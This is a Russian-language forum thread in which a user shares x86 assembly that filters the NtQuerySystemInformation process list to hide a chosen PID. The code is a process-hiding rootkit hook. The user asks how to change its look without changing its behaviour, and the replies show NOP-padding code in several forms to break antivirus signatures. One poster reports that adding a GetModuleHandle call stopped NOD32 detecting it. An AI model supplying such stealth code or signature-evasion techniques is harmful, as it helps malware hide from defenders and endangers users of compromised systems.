Есть код, нужно его немного поменять. Я в асме 0. Вот сам код: Code (Text): push ReturnLength push SystemInformationLength push SystemInformation push dword ptr SystemInformationClass call dword ptr [addr_NtQuerySystemInformation] or eax,eax jl quit cmp SystemInformationClass, SystemProcessesAndThreadsInformation jne quit onceagain: mov esi, SystemInformation getnextpidstruct: mov ebx, esi cmp dword ptr [esi],0 je quit add esi, [esi] mov ecx, [esi+44h] cmp ecx, mypid jne getnextpidstruct mov edx, [esi] test edx, edx je fillzero add [ebx], edx jmp onceagain fillzero: and [ebx], edx jmp onceagain quit: mov Result, eax Можно его как нибуть перекрутить, чтоб суть не менялась, а лишь немного изменить его вид, может в процедуру сунуть иль как там в асме?) Парни, выручайте.)
После каждой строчки вставь от 10 nop-ов. nop - это пустая инструкция, но сигнатуру тебе собьет Например вот так: Code (Text): push ReturnLength nop nop nop nop nop nop nop nop nop nop push SystemInformationLength nop nop nop nop nop nop nop nop nop nop push SystemInformation nop nop nop nop nop nop nop nop nop nop push dword ptr SystemInformationClass nop nop nop nop nop nop nop nop nop nop call dword ptr [addr_NtQuerySystemInformation] nop nop nop nop nop nop nop nop nop nop ; ... и так далее .. и так далее Если пишешь на масме, то можно вот так Code (Text): push ReturnLength db 20 dup (90h) push SystemInformationLength db 20 dup (90h) push SystemInformation db 20 dup (90h) push dword ptr SystemInformationClass db 20 dup (90h) call dword ptr [addr_NtQuerySystemInformation] db 20 dup (90h) ; ... и так далее
dyn Это разбавление мусором. Достаточно изменить только один байт, так как аверские сканеры не могут на данный момент обрабатывать мусор, а тупо в памяти сравнивают хэш из базы с полученным от строки.
Clerk Я просто не знаю, откуда и докуда посчитан хеш. И автор тоже 100% не знает где именно сигнатура, с какого и по какой байт. Поэтому имхо, так максимально универсально.
limit в студии для повышения читабельности можно вот так сделать: Code (Text): #define _NOPS _asm {nop} _asm{nop} _asm {nop} _asm{nop} _asm {nop} _asm{nop} _asm {nop} _asm{nop} _asm {nop} _asm{nop} // ... тут какой-то код, данные, и т.д. _asm { push ReturnLength _NOPS push SystemInformationLength _NOPS push SystemInformation _NOPS // .. и т.д. }
Вставлял перед кодом вызов Code (Text): invoke GetModuleHandle, NULL и нод уже не выскакивал что это вирус